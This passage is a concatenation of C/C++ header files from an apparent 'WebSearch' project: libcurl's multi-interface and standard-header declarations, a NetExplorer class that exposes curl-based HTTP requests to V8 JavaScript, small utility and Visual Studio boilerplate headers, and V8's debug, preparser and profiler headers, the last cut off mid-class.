  *          as soon as the reads and writes are done. This function does not
  *          require that there actually is data available for reading or that
  *          data can be written, it can be called just in case. It returns
  *          the number of handles that still transfer data in the second
  *          argument's integer-pointer.
  *
  * Returns: CURLMcode type, general multi error code. *NOTE* that this only
  *          returns errors etc regarding the whole multi stack. There might
  *          still have occurred problems on invidual transfers even when this
  *          returns OK.
  */
CURL_EXTERN CURLMcode curl_multi_perform(CURLM *multi_handle,
                                         int *running_handles);

 /*
  * Name:    curl_multi_cleanup()
  *
  * Desc:    Cleans up and removes a whole multi stack. It does not free or
  *          touch any individual easy handles in any way. We need to define
  *          in what state those handles will be if this function is called
  *          in the middle of a transfer.
  *
  * Returns: CURLMcode type, general multi error code.
  */
CURL_EXTERN CURLMcode curl_multi_cleanup(CURLM *multi_handle);

/*
 * Name:    curl_multi_info_read()
 *
 * Desc:    Ask the multi handle if there's any messages/informationals from
 *          the individual transfers. Messages include informationals such as
 *          error code from the transfer or just the fact that a transfer is
 *          completed. More details on these should be written down as well.
 *
 *          Repeated calls to this function will return a new struct each
 *          time, until a special "end of msgs" struct is returned as a signal
 *          that there is no more to get at this point.
 *
 *          The data the returned pointer points to will not survive calling
 *          curl_multi_cleanup().
 *
 *          The 'CURLMsg' struct is meant to be very simple and only contain
 *          very basic informations. If more involved information is wanted,
 *          we will provide the particular "transfer handle" in that struct
 *          and that should/could/would be used in subsequent
 *          curl_easy_getinfo() calls (or similar). The point being that we
 *          must never expose complex structs to applications, as then we'll
 *          undoubtably get backwards compatibility problems in the future.
 *
 * Returns: A pointer to a filled-in struct, or NULL if it failed or ran out
 *          of structs. It also writes the number of messages left in the
 *          queue (after this read) in the integer the second argument points
 *          to.
 */
CURL_EXTERN CURLMsg *curl_multi_info_read(CURLM *multi_handle,
                                          int *msgs_in_queue);

/*
 * Name:    curl_multi_strerror()
 *
 * Desc:    The curl_multi_strerror function may be used to turn a CURLMcode
 *          value into the equivalent human readable error string.  This is
 *          useful for printing meaningful error messages.
 *
 * Returns: A pointer to a zero-terminated error message.
 */
CURL_EXTERN const char *curl_multi_strerror(CURLMcode);

/*
 * Name:    curl_multi_socket() and
 *          curl_multi_socket_all()
 *
 * Desc:    An alternative version of curl_multi_perform() that allows the
 *          application to pass in one of the file descriptors that have been
 *          detected to have "action" on them and let libcurl perform.
 *          See man page for details.
 */
#define CURL_POLL_NONE   0
#define CURL_POLL_IN     1
#define CURL_POLL_OUT    2
#define CURL_POLL_INOUT  3
#define CURL_POLL_REMOVE 4

#define CURL_SOCKET_TIMEOUT CURL_SOCKET_BAD

#define CURL_CSELECT_IN   0x01
#define CURL_CSELECT_OUT  0x02
#define CURL_CSELECT_ERR  0x04

typedef int (*curl_socket_callback)(CURL *easy,      /* easy handle */
                                    curl_socket_t s, /* socket */
                                    int what,        /* see above */
                                    void *userp,     /* private callback
                                                        pointer */
                                    void *socketp);  /* private socket
                                                        pointer */
/*
 * Name:    curl_multi_timer_callback
 *
 * Desc:    Called by libcurl whenever the library detects a change in the
 *          maximum number of milliseconds the app is allowed to wait before
 *          curl_multi_socket() or curl_multi_perform() must be called
 *          (to allow libcurl's timed events to take place).
 *
 * Returns: The callback should return zero.
 */
typedef int (*curl_multi_timer_callback)(CURLM *multi,    /* multi handle */
                                         long timeout_ms, /* see above */
                                         void *userp);    /* private callback
                                                             pointer */

CURL_EXTERN CURLMcode curl_multi_socket(CURLM *multi_handle, curl_socket_t s,
                                        int *running_handles);

CURL_EXTERN CURLMcode curl_multi_socket_action(CURLM *multi_handle,
                                               curl_socket_t s,
                                               int ev_bitmask,
                                               int *running_handles);

CURL_EXTERN CURLMcode curl_multi_socket_all(CURLM *multi_handle,
                                            int *running_handles);

#ifndef CURL_ALLOW_OLD_MULTI_SOCKET
/* This macro below was added in 7.16.3 to push users who recompile to use
   the new curl_multi_socket_action() instead of the old curl_multi_socket()
*/
#define curl_multi_socket(x,y,z) curl_multi_socket_action(x,y,0,z)
#endif

/*
 * Name:    curl_multi_timeout()
 *
 * Desc:    Returns the maximum number of milliseconds the app is allowed to
 *          wait before curl_multi_socket() or curl_multi_perform() must be
 *          called (to allow libcurl's timed events to take place).
 *
 * Returns: CURLM error code.
 */
CURL_EXTERN CURLMcode curl_multi_timeout(CURLM *multi_handle,
                                         long *milliseconds);

#undef CINIT /* re-using the same name as in curl.h */

#ifdef CURL_ISOCPP
#define CINIT(name,type,number) CURLMOPT_ ## name = CURLOPTTYPE_ ## type + number
#else
/* The macro "##" is ISO C, we assume pre-ISO C doesn't support it. */
#define LONG          CURLOPTTYPE_LONG
#define OBJECTPOINT   CURLOPTTYPE_OBJECTPOINT
#define FUNCTIONPOINT CURLOPTTYPE_FUNCTIONPOINT
#define OFF_T         CURLOPTTYPE_OFF_T
#define CINIT(name,type,number) CURLMOPT_/**/name = type + number
#endif

typedef enum {
  /* This is the socket callback function pointer */
  CINIT(SOCKETFUNCTION, FUNCTIONPOINT, 1),

  /* This is the argument passed to the socket callback */
  CINIT(SOCKETDATA, OBJECTPOINT, 2),

    /* set to 1 to enable pipelining for this multi handle */
  CINIT(PIPELINING, LONG, 3),

   /* This is the timer callback function pointer */
  CINIT(TIMERFUNCTION, FUNCTIONPOINT, 4),

  /* This is the argument passed to the timer callback */
  CINIT(TIMERDATA, OBJECTPOINT, 5),

  /* maximum number of entries in the connection cache */
  CINIT(MAXCONNECTS, LONG, 6),

  CURLMOPT_LASTENTRY /* the last unused */
} CURLMoption;


/*
 * Name:    curl_multi_setopt()
 *
 * Desc:    Sets options for the multi handle.
 *
 * Returns: CURLM error code.
 */
CURL_EXTERN CURLMcode curl_multi_setopt(CURLM *multi_handle,
                                        CURLMoption option, ...);


/*
 * Name:    curl_multi_assign()
 *
 * Desc:    This function sets an association in the multi handle between the
 *          given socket and a private pointer of the application. This is
 *          (only) useful for curl_multi_socket uses.
 *
 * Returns: CURLM error code.
 */
CURL_EXTERN CURLMcode curl_multi_assign(CURLM *multi_handle,
                                        curl_socket_t sockfd, void *sockp);

#ifdef __cplusplus
} /* end of extern "C" */
#endif

#endif







WebSearch/WebSearch/V8Ext/NetExplorer.h

#ifndef _NETEXPLORER
#define _NETEXPLORER
//#include "stdafx.h"
#include "cproxyv8/cproxyv8.h"
#include "../CURL/curl.h"
#include <string>
#include <vector>
#include <list>
#include "V8Utils.h"
#include "map"


using namespace std;
class NetExplorer{
private:

    wstring _wstrCookieFileName;
    wstring _wstrHttpMethod;
    wstring _wstrPostText;
    wstring _wstrUserAgent;
    wstring _wstrURL;
    wstring _wstrError;
    wstring _wstrCookieFilePath;
    wstring _wstrContentType;
    wstring _wstrResponseBodyEncoding;


    //int _iOutofTimeMS;
    //map<wstring , wstring> _mapHttpHeader; 

    /*保留 _strResponseHeader和 _strResponseBody 处于原始状态*/
    //string _strResponseHeader;
    //string _strResponseBody;

	string _strCookieFileName;
	string _strHttpMethod;
	string _strPostText;
	string _strUserAgent;
	string _strURL;
	string _strError;
	string _strCookieFilePath;
    string _strContentType;

	string _strResponseHeader;
	string _strResponseBody;
	int _iOutofTimeMS;
	int _iStateCode;

	string _strLastURL;

    map<string , string> *_pmapHttpHeader; 
	list<string> *_plistCookie;
	list<DWORD> *_plistFileHandles;
	void clearClass();
	bool sent();
	void freeFileHandles();
	void deleteFileHandle(string * pStr);
	static size_t NetExplorer::httpHeader_callback(const char  *ptr, size_t size, size_t nmemb, std::string *stream);
	static size_t NetExplorer::httpData_callback(const char *ptr, size_t size, size_t nmemb, std::string *stream);
public:
	NetExplorer();
    ~NetExplorer();
	v8::Handle<v8::Value> setURL(const v8::Arguments& args);
	v8::Handle<v8::Value> getResponseHead(const v8::Arguments& args);
	v8::Handle<v8::Value> getResponseBody(const v8::Arguments& args);
	v8::Handle<v8::Value> send(const v8::Arguments& args);
	v8::Handle<v8::Value> getError(const v8::Arguments& args);
    v8::Handle<v8::Value> clearHttpHeader(const v8::Arguments& args);
    v8::Handle<v8::Value> NetExplorer::setResponseBodyEncoding(const v8::Arguments& args);
    v8::Handle<v8::Value> NetExplorer::getResponseBodyEncoding(const v8::Arguments& args);
    v8::Handle<v8::Value> NetExplorer::resetNetExplorer(const v8::Arguments& args);
	v8::Handle<v8::Value> getStateCode(const v8::Arguments& args);
	v8::Handle<v8::Value> getLastURL(const v8::Arguments& args);
	

};
#endif






WebSearch/WebSearch/stdafx.h

// stdafx.h : 标准系统包含文件的包含文件，
// 或是经常使用但不常更改的
// 特定于项目的包含文件
//

#pragma once

#include "targetver.h"

#include <stdio.h>
#include <tchar.h>



// TODO: 在此处引用程序需要的其他头文件







WebSearch/WebSearch/CURL/stdcheaders.h

#ifndef __STDC_HEADERS_H
#define __STDC_HEADERS_H
/***************************************************************************
 *                                  _   _ ____  _     
 *  Project                     ___| | | |  _ \| |    
 *                             / __| | | | |_) | |    
 *                            | (__| |_| |  _ <| |___ 
 *                             \___|\___/|_| \_\_____|
 *
 * Copyright (C) 1998 - 2004, Daniel Stenberg, <daniel@haxx.se>, et al.
 *
 * This software is licensed as described in the file COPYING, which
 * you should have received as part of this distribution. The terms
 * are also available at http://curl.haxx.se/docs/copyright.html.
 * 
 * You may opt to use, copy, modify, merge, publish, distribute and/or sell
 * copies of the Software, and permit persons to whom the Software is
 * furnished to do so, under the terms of the COPYING file.
 *
 * This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY
 * KIND, either express or implied.
 *
 * $Id: stdcheaders.h,v 1.8 2004/01/07 09:19:34 bagder Exp $
 ***************************************************************************/

#include <sys/types.h>

size_t fread (void *, size_t, size_t, FILE *);
size_t fwrite (const void *, size_t, size_t, FILE *);

int strcasecmp(const char *, const char *);
int strncasecmp(const char *, const char *, size_t);

#endif







WebSearch/WebSearch/targetver.h

#pragma once

// 包括 SDKDDKVer.h 将定义可用的最高版本的 Windows 平台。

// 如果要为以前的 Windows 平台生成应用程序，请包括 WinSDKVer.h，并将
// WIN32_WINNT 宏设置为要支持的平台，然后再包括 SDKDDKVer.h。

#include <SDKDDKVer.h>







WebSearch/WebSearch/CURL/types.h

/* not used */







WebSearch/WebSearch/Utils.h

#ifndef _Utils
#define _Utils
#include <string>

using namespace std;
class Utils{
	static wstring _wstrWorkDir;
public:

	static wstring ascii2Unicode(string strText);
	static string unicode2Ascii(wstring widestring);
	static string Unicode2Utf8(const std::wstring& widestring);
	static wstring Utf82Unicode(const std::string& utf8string);
	
	static bool openDirectory(wstring wstrDir);
	static void registWorkDir();
	static void resetWorkDir();
	static wstring getWorkDir();

	static bool readTextFile(wstring wstrFilePath,string& strText);
	static wstring Utils::i2ws(int i);

	static wstring replaceAll(wstring wstrText,wstring wstrOldValue,wstring wstrNewValue);
};
#endif






WebSearch/WebSearch/v8/v8-debug.h

// Copyright 2008 the V8 project authors. All rights reserved.
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are
// met:
//
//     * Redistributions of source code must retain the above copyright
//       notice, this list of conditions and the following disclaimer.
//     * Redistributions in binary form must reproduce the above
//       copyright notice, this list of conditions and the following
//       disclaimer in the documentation and/or other materials provided
//       with the distribution.
//     * Neither the name of Google Inc. nor the names of its
//       contributors may be used to endorse or promote products derived
//       from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

#ifndef V8_V8_DEBUG_H_
#define V8_V8_DEBUG_H_

#include "v8.h"

#ifdef _WIN32
typedef int int32_t;
typedef unsigned int uint32_t;
typedef unsigned short uint16_t;  // NOLINT
typedef long long int64_t;  // NOLINT

// Setup for Windows DLL export/import. See v8.h in this directory for
// information on how to build/use V8 as a DLL.
#if defined(BUILDING_V8_SHARED) && defined(USING_V8_SHARED)
#error both BUILDING_V8_SHARED and USING_V8_SHARED are set - please check the\
  build configuration to ensure that at most one of these is set
#endif

#ifdef BUILDING_V8_SHARED
#define EXPORT __declspec(dllexport)
#elif USING_V8_SHARED
#define EXPORT __declspec(dllimport)
#else
#define EXPORT
#endif

#else  // _WIN32

// Setup for Linux shared library export. See v8.h in this directory for
// information on how to build/use V8 as shared library.
#if defined(__GNUC__) && (__GNUC__ >= 4) && defined(V8_SHARED)
#define EXPORT __attribute__ ((visibility("default")))
#else  // defined(__GNUC__) && (__GNUC__ >= 4)
#define EXPORT
#endif  // defined(__GNUC__) && (__GNUC__ >= 4)

#endif  // _WIN32


/**
 * Debugger support for the V8 JavaScript engine.
 */
namespace v8 {

// Debug events which can occur in the V8 JavaScript engine.
enum DebugEvent {
  Break = 1,
  Exception = 2,
  NewFunction = 3,
  BeforeCompile = 4,
  AfterCompile  = 5,
  ScriptCollected = 6,
  BreakForCommand = 7
};


class EXPORT Debug {
 public:
  /**
   * A client object passed to the v8 debugger whose ownership will be taken by
   * it. v8 is always responsible for deleting the object.
   */
  class ClientData {
   public:
    virtual ~ClientData() {}
  };


  /**
   * A message object passed to the debug message handler.
   */
  class Message {
   public:
    /**
     * Check type of message.
     */
    virtual bool IsEvent() const = 0;
    virtual bool IsResponse() const = 0;
    virtual DebugEvent GetEvent() const = 0;

    /**
     * Indicate whether this is a response to a continue command which will
     * start the VM running after this is processed.
     */
    virtual bool WillStartRunning() const = 0;

    /**
     * Access to execution state and event data. Don't store these cross
     * callbacks as their content becomes invalid. These objects are from the
     * debugger event that started the debug message loop.
     */
    virtual Handle<Object> GetExecutionState() const = 0;
    virtual Handle<Object> GetEventData() const = 0;

    /**
     * Get the debugger protocol JSON.
     */
    virtual Handle<String> GetJSON() const = 0;

    /**
     * Get the context active when the debug event happened. Note this is not
     * the current active context as the JavaScript part of the debugger is
     * running in its own context which is entered at this point.
     */
    virtual Handle<Context> GetEventContext() const = 0;

    /**
     * Client data passed with the corresponding request if any. This is the
     * client_data data value passed into Debug::SendCommand along with the
     * request that led to the message or NULL if the message is an event. The
     * debugger takes ownership of the data and will delete it even if there is
     * no message handler.
     */
    virtual ClientData* GetClientData() const = 0;

    virtual ~Message() {}
  };


  /**
   * An event details object passed to the debug event listener.
   */
  class EventDetails {
   public:
    /**
     * Event type.
     */
    virtual DebugEvent GetEvent() const = 0;

    /**
     * Access to execution state and event data of the debug event. Don't store
     * these cross callbacks as their content becomes invalid.
     */
    virtual Handle<Object> GetExecutionState() const = 0;
    virtual Handle<Object> GetEventData() const = 0;

    /**
     * Get the context active when the debug event happened. Note this is not
     * the current active context as the JavaScript part of the debugger is
     * running in its own context which is entered at this point.
     */
    virtual Handle<Context> GetEventContext() const = 0;

    /**
     * Client data passed with the corresponding callback when it was
     * registered.
     */
    virtual Handle<Value> GetCallbackData() const = 0;

    /**
     * Client data passed to DebugBreakForCommand function. The
     * debugger takes ownership of the data and will delete it even if
     * there is no message handler.
     */
    virtual ClientData* GetClientData() const = 0;

    virtual ~EventDetails() {}
  };


  /**
   * Debug event callback function.
   *
   * \param event the type of the debug event that triggered the callback
   *   (enum DebugEvent)
   * \param exec_state execution state (JavaScript object)
   * \param event_data event specific data (JavaScript object)
   * \param data value passed by the user to SetDebugEventListener
   */
  typedef void (*EventCallback)(DebugEvent event,
                                Handle<Object> exec_state,
                                Handle<Object> event_data,
                                Handle<Value> data);

  /**
   * Debug event callback function.
   *
   * \param event_details object providing information about the debug event
   *
   * A EventCallback2 does not take possession of the event data,
   * and must not rely on the data persisting after the handler returns.
   */
  typedef void (*EventCallback2)(const EventDetails& event_details);

  /**
   * Debug message callback function.
   *
   * \param message the debug message handler message object
   * \param length length of the message
   * \param client_data the data value passed when registering the message handler

   * A MessageHandler does not take possession of the message string,
   * and must not rely on the data persisting after the handler returns.
   *
   * This message handler is deprecated. Use MessageHandler2 instead.
   */
  typedef void (*MessageHandler)(const uint16_t* message, int length,
                                 ClientData* client_data);

  /**
   * Debug message callback function.
   *
   * \param message the debug message handler message object
   *
   * A MessageHandler does not take possession of the message data,
   * and must not rely on the data persisting after the handler returns.
   */
  typedef void (*MessageHandler2)(const Message& message);

  /**
   * Debug host dispatch callback function.
   */
  typedef void (*HostDispatchHandler)();

  /**
   * Callback function for the host to ensure debug messages are processed.
   */
  typedef void (*DebugMessageDispatchHandler)();

  // Set a C debug event listener.
  static bool SetDebugEventListener(EventCallback that,
                                    Handle<Value> data = Handle<Value>());
  static bool SetDebugEventListener2(EventCallback2 that,
                                     Handle<Value> data = Handle<Value>());

  // Set a JavaScript debug event listener.
  static bool SetDebugEventListener(v8::Handle<v8::Object> that,
                                    Handle<Value> data = Handle<Value>());

  // Schedule a debugger break to happen when JavaScript code is run
  // in the given isolate. If no isolate is provided the default
  // isolate is used.
  static void DebugBreak(Isolate* isolate = NULL);

  // Remove scheduled debugger break in given isolate if it has not
  // happened yet. If no isolate is provided the default isolate is
  // used.
  static void CancelDebugBreak(Isolate* isolate = NULL);

  // Break execution of JavaScript in the given isolate (this method
  // can be invoked from a non-VM thread) for further client command
  // execution on a VM thread. Client data is then passed in
  // EventDetails to EventCallback at the moment when the VM actually
  // stops. If no isolate is provided the default isolate is used.
  static void DebugBreakForCommand(ClientData* data = NULL,
                                   Isolate* isolate = NULL);

  // Message based interface. The message protocol is JSON. NOTE the message
  // handler thread is not supported any more parameter must be false.
  static void SetMessageHandler(MessageHandler handler,
                                bool message_handler_thread = false);
  static void SetMessageHandler2(MessageHandler2 handler);

  // If no isolate is provided the default isolate is
  // used.
  static void SendCommand(const uint16_t* command, int length,
                          ClientData* client_data = NULL,
                          Isolate* isolate = NULL);

  // Dispatch interface.
  static void SetHostDispatchHandler(HostDispatchHandler handler,
                                     int period = 100);

  /**
   * Register a callback function to be called when a debug message has been
   * received and is ready to be processed. For the debug messages to be
   * processed V8 needs to be entered, and in certain embedding scenarios this
   * callback can be used to make sure V8 is entered for the debug message to
   * be processed. Note that debug messages will only be processed if there is
   * a V8 break. This can happen automatically by using the option
   * --debugger-auto-break.
   * \param provide_locker requires that V8 acquires v8::Locker for you before
   *        calling handler
   */
  static void SetDebugMessageDispatchHandler(
      DebugMessageDispatchHandler handler, bool provide_locker = false);

 /**
  * Run a JavaScript function in the debugger.
  * \param fun the function to call
  * \param data passed as second argument to the function
  * With this call the debugger is entered and the function specified is called
  * with the execution state as the first argument. This makes it possible to
  * get access to information otherwise not available during normal JavaScript
  * execution e.g. details on stack frames. Receiver of the function call will
  * be the debugger context global object, however this is a subject to change.
  * The following example shows a JavaScript function which when passed to
  * v8::Debug::Call will return the current line of JavaScript execution.
  *
  * \code
  *   function frame_source_line(exec_state) {
  *     return exec_state.frame(0).sourceLine();
  *   }
  * \endcode
  */
  static Local<Value> Call(v8::Handle<v8::Function> fun,
                            Handle<Value> data = Handle<Value>());

  /**
   * Returns a mirror object for the given object.
   */
  static Local<Value> GetMirror(v8::Handle<v8::Value> obj);

 /**
  * Enable the V8 builtin debug agent. The debugger agent will listen on the
  * supplied TCP/IP port for remote debugger connection.
  * \param name the name of the embedding application
  * \param port the TCP/IP port to listen on
  * \param wait_for_connection whether V8 should pause on a first statement
  *   allowing remote debugger to connect before anything interesting happened
  */
  static bool EnableAgent(const char* name, int port,
                          bool wait_for_connection = false);

  /**
    * Disable the V8 builtin debug agent. The TCP/IP connection will be closed.
    */
  static void DisableAgent();

  /**
   * Makes V8 process all pending debug messages.
   *
   * From V8 point of view all debug messages come asynchronously (e.g. from
   * remote debugger) but they all must be handled synchronously: V8 cannot
   * do 2 things at one time so normal script execution must be interrupted
   * for a while.
   *
   * Generally when message arrives V8 may be in one of 3 states:
   * 1. V8 is running script; V8 will automatically interrupt and process all
   * pending messages (however auto_break flag should be enabled);
   * 2. V8 is suspended on debug breakpoint; in this state V8 is dedicated
   * to reading and processing debug messages;
   * 3. V8 is not running at all or has called some long-working C++ function;
   * by default it means that processing of all debug messages will be deferred
   * until V8 gets control again; however, embedding application may improve
   * this by manually calling this method.
   *
   * It makes sense to call this method whenever a new debug message arrived and
   * V8 is not already running. Method v8::Debug::SetDebugMessageDispatchHandler
   * should help with the former condition.
   *
   * Technically this method in many senses is equivalent to executing empty
   * script:
   * 1. It does nothing except for processing all pending debug messages.
   * 2. It should be invoked with the same precautions and from the same context
   * as V8 script would be invoked from, because:
   *   a. with "evaluate" command it can do whatever normal script can do,
   *   including all native calls;
   *   b. no other thread should call V8 while this method is running
   *   (v8::Locker may be used here).
   *
   * "Evaluate" debug command behavior currently is not specified in scope
   * of this method.
   */
  static void ProcessDebugMessages();

  /**
   * Debugger is running in its own context which is entered while debugger
   * messages are being dispatched. This is an explicit getter for this
   * debugger context. Note that the content of the debugger context is subject
   * to change.
   */
  static Local<Context> GetDebugContext();
};


}  // namespace v8


#undef EXPORT


#endif  // V8_V8_DEBUG_H_







WebSearch/WebSearch/v8/v8-preparser.h

// Copyright 2011 the V8 project authors. All rights reserved.
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are
// met:
//
//     * Redistributions of source code must retain the above copyright
//       notice, this list of conditions and the following disclaimer.
//     * Redistributions in binary form must reproduce the above
//       copyright notice, this list of conditions and the following
//       disclaimer in the documentation and/or other materials provided
//       with the distribution.
//     * Neither the name of Google Inc. nor the names of its
//       contributors may be used to endorse or promote products derived
//       from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

#ifndef PREPARSER_H
#define PREPARSER_H

#include "v8stdint.h"

#ifdef _WIN32

// Setup for Windows DLL export/import. When building the V8 DLL the
// BUILDING_V8_SHARED needs to be defined. When building a program which uses
// the V8 DLL USING_V8_SHARED needs to be defined. When either building the V8
// static library or building a program which uses the V8 static library neither
// BUILDING_V8_SHARED nor USING_V8_SHARED should be defined.
#if defined(BUILDING_V8_SHARED) && defined(USING_V8_SHARED)
#error both BUILDING_V8_SHARED and USING_V8_SHARED are set - please check the\
  build configuration to ensure that at most one of these is set
#endif

#ifdef BUILDING_V8_SHARED
#define V8EXPORT __declspec(dllexport)
#elif USING_V8_SHARED
#define V8EXPORT __declspec(dllimport)
#else
#define V8EXPORT
#endif  // BUILDING_V8_SHARED

#else  // _WIN32

// Setup for Linux shared library export. There is no need to distinguish
// between building or using the V8 shared library, but we should not
// export symbols when we are building a static library.
#if defined(__GNUC__) && (__GNUC__ >= 4) && defined(V8_SHARED)
#define V8EXPORT __attribute__ ((visibility("default")))
#else  // defined(__GNUC__) && (__GNUC__ >= 4)
#define V8EXPORT
#endif  // defined(__GNUC__) && (__GNUC__ >= 4)

#endif  // _WIN32


namespace v8 {

// The result of preparsing is either a stack overflow error, or an opaque
// blob of data that can be passed back into the parser.
class V8EXPORT PreParserData {
 public:
  PreParserData(size_t size, const uint8_t* data)
      : data_(data), size_(size) { }

  // Create a PreParserData value where stack_overflow reports true.
  static PreParserData StackOverflow() { return PreParserData(0, NULL); }

  // Whether the pre-parser stopped due to a stack overflow.
  // If this is the case, size() and data() should not be used.
  bool stack_overflow() { return size_ == 0u; }

  // The size of the data in bytes.
  size_t size() const { return size_; }

  // Pointer to the data.
  const uint8_t* data() const { return data_; }

 private:
  const uint8_t* const data_;
  const size_t size_;
};


// Interface for a stream of Unicode characters.
class V8EXPORT UnicodeInputStream {  // NOLINT - Thinks V8EXPORT is class name.
 public:
  virtual ~UnicodeInputStream();

  // Returns the next Unicode code-point in the input, or a negative value when
  // there is no more input in the stream.
  virtual int32_t Next() = 0;
};


// Preparse a JavaScript program. The source code is provided as a
// UnicodeInputStream. The max_stack_size limits the amount of stack
// space that the preparser is allowed to use. If the preparser uses
// more stack space than the limit provided, the result's stack_overflow()
// method will return true. Otherwise the result contains preparser
// data that can be used by the V8 parser to speed up parsing.
PreParserData V8EXPORT Preparse(UnicodeInputStream* input,
                                size_t max_stack_size);

}  // namespace v8.

#endif  // PREPARSER_H
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// Copyright 2010 the V8 project authors. All rights reserved.
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are
// met:
//
//     * Redistributions of source code must retain the above copyright
//       notice, this list of conditions and the following disclaimer.
//     * Redistributions in binary form must reproduce the above
//       copyright notice, this list of conditions and the following
//       disclaimer in the documentation and/or other materials provided
//       with the distribution.
//     * Neither the name of Google Inc. nor the names of its
//       contributors may be used to endorse or promote products derived
//       from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

#ifndef V8_V8_PROFILER_H_
#define V8_V8_PROFILER_H_

#include "v8.h"

#ifdef _WIN32
// Setup for Windows DLL export/import. See v8.h in this directory for
// information on how to build/use V8 as a DLL.
#if defined(BUILDING_V8_SHARED) && defined(USING_V8_SHARED)
#error both BUILDING_V8_SHARED and USING_V8_SHARED are set - please check the\
  build configuration to ensure that at most one of these is set
#endif

#ifdef BUILDING_V8_SHARED
#define V8EXPORT __declspec(dllexport)
#elif USING_V8_SHARED
#define V8EXPORT __declspec(dllimport)
#else
#define V8EXPORT
#endif

#else  // _WIN32

// Setup for Linux shared library export. See v8.h in this directory for
// information on how to build/use V8 as shared library.
#if defined(__GNUC__) && (__GNUC__ >= 4) && defined(V8_SHARED)
#define V8EXPORT __attribute__ ((visibility("default")))
#else  // defined(__GNUC__) && (__GNUC__ >= 4)
#define V8EXPORT
#endif  // defined(__GNUC__) && (__GNUC__ >= 4)

#endif  // _WIN32


/**
 * Profiler support for the V8 JavaScript engine.
 */
namespace v8 {

typedef uint32_t SnapshotObjectId;

/**
 * CpuProfileNode represents a node in a call graph.
 */
class V8EXPORT CpuProfileNode {
 public:
  /** Returns function name (empty string for anonymous functions.) */
  Handle<String> GetFunctionName() const;

  /** Returns resource name for script from where the function originates. */
  Handle<String> GetScriptResourceName() const;

  /**
   * Returns the number, 1-based, of the line where the function originates.
   * kNoLineNumberInfo if no line number information is available.
   */
  int GetLineNumber() const;

  /**
   * Returns total (self + children) execution time of the function,
   * in milliseconds, estimated by samples count.
   */
  double GetTotalTime() const;

  /**
   * Returns self execution time of the function, in milliseconds,
   * estimated by samples count.
   */
  double GetSelfTime() const;

  /** Returns the count of samples where function exists. */
  double GetTotalSamplesCount() const;

  /** Returns the count of samples where function was currently executing. */
  double GetSelfSamplesCount() const;

  /** Returns function entry UID. */
  unsigned GetCallUid() const;

  /** Returns child nodes count of the node. */
  int GetChildrenCount() const;

  /** Retrieves a child node by index. */
  const CpuProfileNode* GetChild(int index) const;

  static const int kNoLineNumberInfo = Message::kNoLineNumberInfo;
};


/**
 * CpuProfile contains a CPU profile in a form of two call trees:
 *  - top-down (from main() down to functions that do all the work);
 *  - bottom-up call graph (in backward direction).
 */
class V8EXPORT CpuProfile {
 public:
  /** Returns CPU profile UID (assigned by the profiler.) */
  unsigned GetUid() const;

  /** Returns CPU profile title. */
  Handle<String> GetTitle() const;

  /** Returns the root node of the bottom up call tree. */
  const CpuProfileNode* GetBottomUpRoot() const;

  /** Returns the root node of the top down call tree. */
  const CpuProfileNode* GetTopDownRoot() const;

  /**
